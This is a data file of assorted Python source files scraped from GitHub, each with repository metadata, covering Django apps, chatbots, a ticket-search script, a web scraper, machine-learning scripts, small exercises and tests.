89c9fcff8aaa67d986bd78ed73f91ddd7b087f4e
/TicketSearch12306.py
2823f5dc9b5edeecc65f64b1d03f1cf9e50de75f
[]
no_license
lyk109/TicketSearch12306
2a45b24df408f892013061d2a2c1cd815c0e410f
735b2fccf31f5d4be7e7287d012f7657f0b7f0fe
refs/heads/master
2021-05-05T07:35:27.266724
2018-06-10T15:42:07
2018-06-10T15:42:07
118,876,619
0
1
null
null
null
null
UTF-8
Python
false
false
8,752
py
#!/usr/bin/env.python # _*_ coding:utf-8 _*_ from selenium import webdriver from selenium.webdriver.common.keys import Keys import time import re import random from yunpian_python_sdk.model import constant as YC from yunpian_python_sdk.ypclient import YunpianClient # 发送短信 def sendMessage(telephoneNum, TEX...
[ "noreply@github.com" ]
noreply@github.com
6227dedebae53498e2bd7b92bb3ca69249b5b59f
8a6eb7996a5a86440e7f3f0a53dab14a226f067a
/preprocessing.py
6c14b637c9f282ad57aba381bc013dfee67e76a7
[ "MIT" ]
permissive
mohiitgupta/adaboost_decisiontree_mnist
a6a5867fce621a7fa59d0dee1b64e1d665e7ca09
b04b9b794287f3c983667fe80483794ae9016d2a
refs/heads/master
2020-04-11T19:08:47.513093
2019-03-11T03:05:11
2019-03-11T03:05:11
162,024,371
0
0
null
null
null
null
UTF-8
Python
false
false
2,534
py
from random import shuffle import pickle import csv def shuffle_data(): with open('winequality-white.csv', 'rb') as csvfile: csvreader = csv.reader(csvfile, delimiter = ';') # print type(csvreader) data = [] for i, row in enumerate(csvreader): if i != 0: ...
[ "mohit.gupta.cse11@iitbhu.ac.in" ]
mohit.gupta.cse11@iitbhu.ac.in
b396abb0d733fb697eabe78d378cf7f547dc8e4c
4a9a947d000726263f6064b1365a0bca1cac16a4
/stageII/run_exp.py
64cc7b3ce2ca92ddc11b3ae1586b59cd287448f3
[]
no_license
gosonglei/StackGAN_tf_py36
0a858ce09af732363719f5c2429b187b6c2fb7b3
f449674dfcda5e1c4908ca7094133037bf71f8ec
refs/heads/master
2020-05-16T10:16:31.204101
2019-04-24T06:10:00
2019-04-24T06:10:00
182,975,094
0
0
null
null
null
null
UTF-8
Python
false
false
2,450
py
from __future__ import division from __future__ import print_function import sys sys.path.append('./') import tensorflow as tf import dateutil import dateutil.tz import datetime import argparse import pprint from misc.datasets import TextDataset from stageII.model import CondGAN from stageII.trainer import CondGANTr...
[ "leisong01@qq.com" ]
leisong01@qq.com
53aa879f095b39f36320336ad01e799973484d25
2d0bada349646b801a69c542407279cc7bc25013
/docsrc/source/doxygen/pydoc/execute_async.py
782a192a068fbb6bb04256d4ec4f587d475fa660
[ "BSD-3-Clause", "LicenseRef-scancode-generic-cla", "BSD-3-Clause-Open-MPI", "LicenseRef-scancode-free-unknown", "Libtool-exception", "GCC-exception-3.1", "LicenseRef-scancode-mit-old-style", "OFL-1.1", "JSON", "LGPL-2.1-only", "LGPL-2.0-or-later", "ICU", "LicenseRef-scancode-other-permissive...
permissive
Xilinx/Vitis-AI
31e664f7adff0958bb7d149883ab9c231efb3541
f74ddc6ed086ba949b791626638717e21505dba2
refs/heads/master
2023-08-31T02:44:51.029166
2023-07-27T06:50:28
2023-07-27T06:50:28
215,649,623
1,283
683
Apache-2.0
2023-08-17T09:24:55
2019-10-16T21:41:54
Python
UTF-8
Python
false
false
472
py
"""! @brief Executes the runner. This is a blocking function. @param inputs : List[vart.TensorBuffer], A list of vart.TensorBuffer containing the input data for inference. @param outputs : List[vart.TensorBuffer], A list of vart.TensorBuffer which will be filled with output data. @return ...
[ "do-not-reply@gitenterprise.xilinx.com" ]
do-not-reply@gitenterprise.xilinx.com
7e98137ff59ad45092492d5017693683fffe0cc2
0e51815b524229c7562572f10d178eb446cb7715
/project18/app18/apps.py
2929b85d78d69c8157c514f030b31065a05443dd
[]
no_license
Eswar0407/Django-10Am
4d38cc795d7233bf5b6d1792755b018584a7c627
c668b96dd69c72daba09bc944134302073827fae
refs/heads/master
2023-07-16T23:52:52.820204
2021-09-05T17:57:14
2021-09-05T17:57:14
374,605,139
0
0
null
2021-06-13T16:20:40
2021-06-07T09:16:52
Python
UTF-8
Python
false
false
142
py
from django.apps import AppConfig class App18Config(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'app18'
[ "eswarbablu@gmail.com" ]
eswarbablu@gmail.com
45deff61b69cf642b58f2166fca15995b03cd457
e777547f9c9f690991fea4b4d2fd54384445e143
/sensor_umidade.py
3d8150efa55636c9c1d68916df23b697cf7539f8
[]
no_license
dhannyell/mqtt-example
fb219ddfc26b2be143d91bb27c30928c784c2210
4ac23fde26bb6f7eb4f7c5ef56c72f1e78a1470f
refs/heads/master
2020-07-31T18:49:48.807747
2019-09-25T00:12:15
2019-09-25T00:12:15
210,716,962
0
0
null
null
null
null
UTF-8
Python
false
false
694
py
import time import paho.mqtt.client as paho import random import decimal broker="m2m.eclipse.org" broker="localhost" client= paho.Client("humidity-001") print("Conectando ao broker ",broker) client.connect(broker)#connect client.loop_start() #start loop to process received messages print("Enviando umidade") try: ...
[ "lukas@lukass-iMac-Pro.local" ]
lukas@lukass-iMac-Pro.local
da2f7567d883a0e079eb27993aba1d2ffeb0a45f
c5648de7fddca3fd804e1632c13a0f0544be0a61
/blood_line/models.py
c57b9d297507f11dcfd167fa0f2f0bc95894824f
[]
no_license
FerroCaelum/Ferro_Caelum
15c67dd180449a655cc4a845f3aa6f9333401835
8fc1406b0ab1f298c789913c653f56d7b8339be8
refs/heads/master
2021-01-22T05:15:12.590865
2012-11-03T12:32:43
2012-11-03T12:33:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,063
py
# coding: utf-8 from django.db import models class BloodLine(models.Model): name = models.CharField(max_length=50) #blood line name power = models.PositiveIntegerField(default=8) #moc resistance = models.PositiveIntegerField(default=8) #wytrzymałość dexterity = models.PositiveIntegerField(default=8) ...
[ "kcomrp@gmail.com" ]
kcomrp@gmail.com
891121b9606027367e79edf296778c24e1863184
971e0efcc68b8f7cfb1040c38008426f7bcf9d2e
/tests/artificial/transf_Difference/trend_ConstantTrend/cycle_12/ar_12/test_artificial_1024_Difference_ConstantTrend_12_12_20.py
255ad8d8fc80ccb9aa8b7a9077af1162adb8c95e
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
antoinecarme/pyaf
a105d172c2e7544f8d580d75f28b751351dd83b6
b12db77cb3fa9292e774b2b33db8ce732647c35e
refs/heads/master
2023-09-01T09:30:59.967219
2023-07-28T20:15:53
2023-07-28T20:15:53
70,790,978
457
77
BSD-3-Clause
2023-03-08T21:45:40
2016-10-13T09:30:30
Python
UTF-8
Python
false
false
272
py
import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 1024 , FREQ = 'D', seed = 0, trendtype = "ConstantTrend", cycle_length = 12, transform = "Difference", sigma = 0.0, exog_count = 20, ar_order = 12);
[ "antoine.carme@laposte.net" ]
antoine.carme@laposte.net
828ee1b83675de31a77e994662273a32240e2c53
1354cade1ec24a31d74b6ec58f5356a22147fb6c
/power.py
c7f6ade33c359a1025ac87044485cf7ee299086b
[]
no_license
Pranav-Srikumar/sample
e4bccb675245f0fb00a2131ad4708af6b691bb08
62d6855fd7b90aa81e3ee0b68923986de3358223
refs/heads/master
2020-06-03T19:34:52.693879
2019-06-23T05:51:17
2019-06-23T05:51:17
191,704,435
0
0
null
null
null
null
UTF-8
Python
false
false
42
py
a,b=map(int,input().split()) print(a**b)
[ "noreply@github.com" ]
noreply@github.com
9c54bc0bc870f88fb5a389ba9daa6ddb1067c9cd
6afeea25ce18f26432cf3afaf85716d19104c845
/Non_Coding_RNAs_Analyses/Pull_noncoding_isoforms.py
33f91d3cc7adff4b183694f3372374c5f6657a7e
[]
no_license
zhuqingquan5510/IsoSeq3_Stickleback
49af3934432437a701f4b45e9dbc0f1606a41463
3a6663d5d499a8335d6f4dc38a1fad121a62c9df
refs/heads/master
2023-03-05T09:04:23.999431
2021-02-15T19:00:41
2021-02-15T19:00:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,911
py
#pulling all non coding sequences from combined sexes files with duplicates removed #need to read in faa headers, fasta file, gtf file, and classification file #to run script: Pull_noncoding_isoforms.py <combined sexes classification file> <faa file> <fasta file> <gtf file> <outout noncoding isoforms classification fil...
[ "alice.shanfelter@gmail.com" ]
alice.shanfelter@gmail.com
1d6a9b56c1ece32372db146f66572e0473380f2e
15daa6a38ce995d71ff686297bd036b9bdb14bf4
/DiasDaSemana.py
2a785ac4de286948e3d5e241b85e382e5e744b88
[]
no_license
MichelPinho/exerc-cios
ac40476fa89217c30c429ee146431f38f3909811
394f115ca015aaf35d6399366805a4ec6fb5b455
refs/heads/master
2023-02-06T19:13:28.667687
2021-01-01T14:26:26
2021-01-01T14:26:26
290,302,516
0
0
null
null
null
null
UTF-8
Python
false
false
569
py
#Faça um Programa que leia um número e exiba o dia correspondente da semana. # (1-Domingo, 2- Segunda, etc.), se digitar outro valor deve aparecer valor inválido. x = int(input('Digite um número de 1 à 7 , referente aos dias da semana: ')) if x == 1: print('Domingo') elif x == 2: print('Segunda') ...
[ "noreply@github.com" ]
noreply@github.com
9ccc924ae56e77e53e2443483702509d3f40cb0d
a29c48fd9b379c64226ce66cf1399478e6ce2ef6
/test5.py
3a461b69479825062826a7b24c44ce8681681ba6
[]
no_license
coward33/pythontest
466b94b39488861ebecf8aeac9cc44e05a21f229
21ef7a400cc9363d8b179bf75b186be54d05f43d
refs/heads/master
2020-04-16T18:17:08.677019
2019-01-19T03:59:27
2019-01-19T03:59:27
165,812,524
0
0
null
null
null
null
UTF-8
Python
false
false
478
py
# 水仙花数 ''' r=[i for i in range(100,1000) if (i==(i%10)**3+((i//10%10)**3)+((i//100%10)**3))] print(f"{r[0]}是100-1000内最小的水仙花数") ''' # 100内的质数 ''' l=[] for i in range(2,100): a=True for j in range(2,i-1): if i%j == 0: a=False break if a: l.append(i) print(l) ''' # 九九乘法表...
[ "loushanshan@beisen.com" ]
loushanshan@beisen.com
2c1961133a934de0d829d9a1d53226e6b2c7a79f
b6261add3b816f3c68a70d6da196b79722100bc1
/A.py
3a2a29c0f20de6f5b991b2e96ece8b86c13f672f
[ "MIT" ]
permissive
arajajyothibabu/codevita-v6
878015c70fa9200148b56ecfeb45dcbd208e6419
5d011535527f10adb716d4ab330dbe9f9b565240
refs/heads/master
2021-01-01T17:15:09.278825
2017-07-22T14:05:15
2017-07-22T14:05:15
98,035,013
0
0
null
null
null
null
UTF-8
Python
false
false
793
py
class TheGreatPileUp: piles = 0 cards = [] iterations = 0 result = [] def __init__(self): self.read_input() print(self.process_piles(self.cards)) def read_input(self): self.piles = input() self.cards = [int(i) for i in raw_input().split(' ')] def process_p...
[ "arajajyothibabu@apxor.com" ]
arajajyothibabu@apxor.com
b7c7f9f6589f694943de2468910efde387edfdd0
1bd0b0ead1e7fdf26b0d9b0601d337dcb2eb952f
/obligatory1/exercise2_3.py
5c091f5062189f65e23e2bacc63d17c8852f87e6
[]
no_license
ageriksen/fys2160
ea94ce39d438be4ef4a1792b33977c69a935c5df
c26a70a1e84609e4246ef0fe0374434c0a6c18e1
refs/heads/master
2021-09-26T14:40:20.110577
2018-10-30T22:33:25
2018-10-30T22:33:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,162
py
""" generate 10**4 microstates of N=60 paramagnets with spin s = +1 or -1 for spin up or down respectively. P(s) = 0.5. Therfore, make random int 0 or 1 for spin ups, while total spin S = 2N_up - N """ import numpy as np import matplotlib.pyplot as plt from scipy.stats import norm #\\\\\\\declaring variables\\\\\\ M ...
[ "andersge92@gmail.com" ]
andersge92@gmail.com
8fd7c7fbc4db895dd99bf109747f0a5520c29529
ccf94dcb6b1500fcbbd56964ae8c4832a496b8b3
/python/baiduads-sdk-auto/baiduads/toolkit/model/get_operation_record_request_wrapper.py
f0b1b8bbae25a9c946d4538a75ea6047957018a8
[ "Apache-2.0" ]
permissive
baidu/baiduads-sdk
24c36b5cf3da9362ec5c8ecd417ff280421198ff
176363de5e8a4e98aaca039e4300703c3964c1c7
refs/heads/main
2023-06-08T15:40:24.787863
2023-05-20T03:40:51
2023-05-20T03:40:51
446,718,177
16
11
Apache-2.0
2023-06-02T05:19:40
2022-01-11T07:23:17
Python
UTF-8
Python
false
false
11,608
py
""" dev2 api schema 'dev2.baidu.com' api schema # noqa: E501 Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 from baiduads.model_utils import ( # noqa: F401 ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, ch...
[ "jiangyuan04@baidu.com" ]
jiangyuan04@baidu.com
415c3875cb6a2163668939769ad388fa598e170e
ac1325a87af290ae0f083bbfe79e5f2a33c04e1e
/yacht/yacht.py
13d3899de91d994315958cfcdcfd5b4de01c2285
[]
no_license
Lguerrer31/python
9323160c30d061a95d7decbeae5d7451c7786004
fe15295dc26c2a8dd5f9424c0007db755b63d7e1
refs/heads/master
2021-03-17T11:50:25.051445
2020-03-13T04:16:42
2020-03-13T04:16:42
246,987,328
0
0
null
null
null
null
UTF-8
Python
false
false
1,002
py
from collections import Counter def count_func(num): return lambda dice: num * Counter(dice)[num] def four_of_a_kind(dice): for k, v in Counter(dice).items(): if 4 <= v: return k * 4 return 0 def straight(dice): min_dice = min(dice) length = 1 while min_dice + length in di...
[ "lauraguerrero3199@hotmail.com" ]
lauraguerrero3199@hotmail.com
f18170664bb923e52ef6b4254573a0b2b160df16
21977a2544a1e40c64bc5509bbfa9bb3575d0b07
/python/PyQt/status_bar.py
71c871aedbc5378fd86c038cf80a98dbf28b6462
[]
no_license
HankPym/PymTool
6cdece89c2975c4907218bdaeaedbc759fcfe1f7
cbd3427b0a8ee789412f9467d62efb60ca535c1a
refs/heads/master
2022-11-18T06:46:48.434088
2022-11-08T03:58:40
2022-11-08T03:58:40
79,072,513
0
0
null
null
null
null
UTF-8
Python
false
false
606
py
#!/usr/bin/python """ ZetCode PyQt6 tutorial This program creates a statusbar. Author: Jan Bodnar Website: zetcode.com """ import sys from PyQt6.QtWidgets import QMainWindow, QApplication class Example(QMainWindow): def __init__(self): super().__init__() self.initUI() def initUI(self):...
[ "lesfister@live.com" ]
lesfister@live.com
c78d2ed46674503748746f8fccd651bd554ba4b4
438b91be24735fd8b03eeaffe441e0c8935aacd5
/app.py
a6246aad225dc04c3998fc26a40a746f92c4052f
[]
no_license
Paul199199/THU-transfer-data
c21686d13b9ea6746ebc6016e717ca2b4e6876de
be6c155083e40d5c47db42309671737dea563847
refs/heads/main
2023-04-30T00:59:10.218972
2021-05-03T08:47:16
2021-05-03T08:47:16
350,589,800
0
0
null
null
null
null
UTF-8
Python
false
false
2,061
py
from flask import Flask, request, abort from linebot import ( LineBotApi, WebhookHandler ) from linebot.exceptions import ( InvalidSignatureError ) from linebot.models import ( MessageEvent, TextMessage, TextSendMessage, ImageSendMessage ) app = Flask(__name__) # Channel Access Token line_bot_api = LineB...
[ "noreply@github.com" ]
noreply@github.com
afecff6a717c42f5c6dfb485d0a1630241b428e0
d090932410414631f9c2fc4ef43c0226f7a7ddcb
/Taller de python/ejercicio_7.py
1006520eab77517883272aefbb6b74638cc7b57b
[ "MIT" ]
permissive
Ivan-Daniel/Algortimo-y-Programacion-Talleres
0c39f34298a8f36ffb2bfccf8071fba57d1e11bd
b90f79d3a920dd9b6494309172cdea2319bfddc0
refs/heads/main
2023-07-28T19:09:12.444630
2021-09-18T22:44:04
2021-09-18T22:44:04
392,033,048
1
0
null
null
null
null
UTF-8
Python
false
false
242
py
""" Entrada Metros-->float-->mtrs Salida Pulgafas-->float-->pul Pie-->float-->pie """ mtrs=float(input("Digite los metros que quiera convertir: ")) pul=mtrs*39.37 pie=mtrs*3.281 print("Este valor en pies seria:", pie, "y en pulgadas es:",pul)
[ "87994678+Ivan-Daniel@users.noreply.github.com" ]
87994678+Ivan-Daniel@users.noreply.github.com
db714f52c96f009c7d1d663efbcc3d785e5437d1
9445109f4a08dcd9c04878c077f7df50695ecc4f
/src/test.py
ba637675e053cf79cfbd8d5d0885151b8b7af4cc
[]
no_license
juanmaMacGyverCode/notasPython
61e60ace8d1193573d4d927b3b9cb1f18a9fdc5e
c946fc7ec308e004b8b94f583fca888fb3bb2c9f
refs/heads/master
2022-11-18T03:10:42.570352
2020-07-05T15:06:55
2020-07-05T15:06:55
263,331,623
0
0
null
null
null
null
UTF-8
Python
false
false
397
py
import metodosComunes def test_verificadorNumero(): assert metodosComunes.verificadorNumero("5") == True assert metodosComunes.verificadorNumero("4") == True assert metodosComunes.verificadorNumero("3") == True assert metodosComunes.verificadorNumero("2") == True assert metodosComunes.verificadorNu...
[ "jmlpdr.93@gmail.com" ]
jmlpdr.93@gmail.com
91580e3fcdf53ad4a79fc63061c55aa28e38116c
affbb55639dd189a1d8cb98255dd4e97dc21befa
/les3/003-watershed.py
b604f7b19751c2413654ab546067c0987326593d
[]
no_license
jkDina/computer_vision
8c51eb7770213358a3e49ecd02325ff4c02d9def
135354c5796e6058658a89c35f5ccaa8537047d7
refs/heads/master
2020-05-13T23:45:35.299976
2019-05-18T19:22:43
2019-05-18T19:22:43
181,675,317
0
0
null
null
null
null
UTF-8
Python
false
false
2,665
py
#!/usr/bin/env python # coding: utf-8 # # Водораздел # http://cmm.ensmp.fr/~beucher/wtshed.html # In[38]: get_ipython().run_line_magic('matplotlib', 'inline') import cv2 import numpy as np import matplotlib.pyplot as plt # In[39]: img = cv2.imread('../data/coins.jpg') # In[40]: plt.imshow(cv2.cvtColor(img, ...
[ "jkrhj@mail.ru" ]
jkrhj@mail.ru
d690476d5c1f08c02cc4bbdc52aee63f034af167
aaa204ad7f134b526593c785eaa739bff9fc4d2a
/airflow/providers/vertica/operators/vertica.py
50463a7771ececc01a00331495f8974e4a7ac3e7
[ "Apache-2.0", "BSD-3-Clause", "MIT" ]
permissive
cfei18/incubator-airflow
913b40efa3d9f1fdfc5e299ce2693492c9a92dd4
ffb2078eb5546420864229cdc6ee361f89cab7bd
refs/heads/master
2022-09-28T14:44:04.250367
2022-09-19T16:50:23
2022-09-19T16:50:23
88,665,367
0
1
Apache-2.0
2021-02-05T16:29:42
2017-04-18T20:00:03
Python
UTF-8
Python
false
false
2,050
py
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
[ "noreply@github.com" ]
noreply@github.com
7a88d8fa4488ba5fa2c2b4c39da14e4c4686d172
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2796/60692/251559.py
a8bf87a7e07b8477d2a22079daf8e9c61c1ab118
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
458
py
nums = int(input()) list1 = input().split(" ") list1 = [int(i) for i in list1] def isPower(num): low = -num high = num while low < high: mid = (low + high) // 2 if mid ** 2 < num: low = mid + 1 elif mid ** 2 > num: high = mid - 1 else: r...
[ "1069583789@qq.com" ]
1069583789@qq.com
fdcdbe317c85225310be6bd0c07da1f41136b2c5
38ef9ab9a0df90c59685595f15b8b96ad854b28d
/steve-bot/myjabberbot.py
6f2616ded0b8f2b31e248d10af582ae129686d37
[]
no_license
crazedpsyc/crazedpsyc
9242544088fe74482b0b27b23d720f64944ddace
d698a7cd0fdd7f926243a338f19152b8442da183
refs/heads/master
2020-04-06T04:30:07.630379
2011-05-24T20:13:57
2011-05-24T20:13:57
1,619,552
2
1
null
null
null
null
UTF-8
Python
false
false
14,953
py
#!/usr/bin/env python # -*- coding: utf-8 -*- from jabberbot import JabberBot, botcmd import datetime from infobits import infobits import duckduckgo as ddg import urllib import random import explosions version = '0.4' admins = ['bazaar', 'crazedpsyc'] class SteveBot(JabberBot): saidhito = [] mefeelings = 'I\...
[ "crazedpsyc@live.com" ]
crazedpsyc@live.com
1aed50a756130852dbb4f991e89da11b70f19dda
4c907a4a6db3a74bdac93f144f82fc3206c0b0d4
/tutorial/spiders/dmoz_spider.py
45ca25b535a13c194dd1f81f1705d72f235b832a
[]
no_license
Mangosteen-Yang/itjuzi
b87b29badbc9ca1c665069d37cc486d41443bcd2
2288b3151d2ec8934c981a453bfce1cf00aea2c5
refs/heads/master
2021-01-11T05:51:12.337419
2016-10-03T01:11:50
2016-10-03T01:11:50
69,646,132
0
0
null
null
null
null
UTF-8
Python
false
false
1,465
py
import scrapy from tutorial.items import DmozItem class DmozSpider(scrapy.Spider): name = "dmoz" # allowed_domains = ["itjuzi.com"] start_urls = ["http://itjuzi.com/company/{}".format(n) for n in range(1000, 2000)] #get the range of company def parse(self, response): #get informations about...
[ "yangshuo225@gmail.com" ]
yangshuo225@gmail.com
de3b3985b91ab8d8cb84e71adab17d15d8e71030
236a394042d1f976fdca7dcbde7d22478b491b58
/mymoney/apps/banktransactionschedulers/urls.py
38b5fd94d4e52d000f828ea21eb72ce47dc667e1
[ "BSD-3-Clause" ]
permissive
talvinder/mymoney
afeafaafdabdc70ef8f6fd138df994e4dd1586d7
8ac20cc0cbfc74706e07bf725a80870f73b83270
refs/heads/master
2020-04-05T18:33:25.252218
2016-07-28T12:50:06
2016-07-28T12:50:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
620
py
from django.conf.urls import url from . import views urlpatterns = [ url( r'^list/(?P<bankaccount_pk>\d+)/$', views.BankTransactionSchedulerListView.as_view(), name='list' ), url( r'^create/(?P<bankaccount_pk>\d+)/$', views.BankTransactionSchedulerCreateView.as_view...
[ "yannick.chabbert@makina-corpus.com" ]
yannick.chabbert@makina-corpus.com
3fc3f7f404b492b77d4f393b04e2709741707ba0
3bf368cc80ef75c031b6f392ddac7fe4f1190e76
/hood/apps.py
0cd4ff1198765a2426fce2420acff4a391b00918
[]
no_license
mwiha/Hood-App
3ee196795d42603f5c88d47c7c2c78f7e3d1191d
69f4b15e178a7c7ae50b3fb597e3bb95b0b3ac2f
refs/heads/master
2021-09-10T07:22:31.974088
2020-02-27T08:18:00
2020-02-27T08:18:00
242,147,026
0
0
null
2021-09-08T01:43:10
2020-02-21T13:36:37
Python
UTF-8
Python
false
false
82
py
from django.apps import AppConfig class HoodConfig(AppConfig): name = 'hood'
[ "alicemwihaki99@gmail.com" ]
alicemwihaki99@gmail.com
98cc624a2e6bdc9d9d6d58c0a765b40d3322919a
ac7cf85bac72188f5f37575b2263765af246de81
/sinteagro/financeiro/classes.py
f0e3daa9344eee48f3f5db4b0a73e983bc929923
[]
no_license
DarkTiengo/sinteagro
41484495f3b3baf7db31bdb9cf381b6081490347
8456df9346a1dc9285e9ae2020c39bac54370f06
refs/heads/master
2020-03-30T18:26:05.184746
2019-12-05T13:44:40
2019-12-05T13:44:40
151,499,921
0
0
null
2019-02-09T20:52:36
2018-10-04T00:45:51
Python
UTF-8
Python
false
false
4,534
py
from ofxparse import OfxParser from .models import Conta,Extrato,Saldo_Inicial def get_first_cc(user): cc = Conta.objects.filter(user=user) return cc[0] def class_extrato(mes,ano,user,conta): cc = Conta.objects.get(conta=conta,user=user) ex = Extrato.objects.filter(conta=cc,date__month=mes,date__year...
[ "ogneit@hotmail.com" ]
ogneit@hotmail.com
26d60373ba20e7c396d6b3c3eb3d41e21eca9b0c
284f4f56aed56573eb5516aa67c99bf41e595522
/Leetcode/Queue & Stack/p1337.py
d64c819ab7d4db49c53ed975f32e633aa2a8b4c6
[]
no_license
rohangoli/PythonAdvanced
537a05eff9ec305a6ec32fa2d0962a64976cd097
6448a5f0d82c7e951b5e476638e15a3c34966cd9
refs/heads/develop
2023-07-20T04:33:50.764104
2023-07-14T04:04:18
2023-07-14T04:04:18
126,811,520
0
0
null
2022-06-10T23:07:10
2018-03-26T10:20:16
Jupyter Notebook
UTF-8
Python
false
false
4,649
py
## Design Circular Queue # Example 1: # Input # ["MyCircularQueue", "enQueue", "enQueue", "enQueue", "enQueue", "Rear", "isFull", "deQueue", "enQueue", "Rear"] # [[3], [1], [2], [3], [4], [], [], [], [4], []] # Output # [null, true, true, true, false, 3, true, true, true, 4] # Explanation # MyCircularQueue myCircular...
[ "rohanr27@gmail.com" ]
rohanr27@gmail.com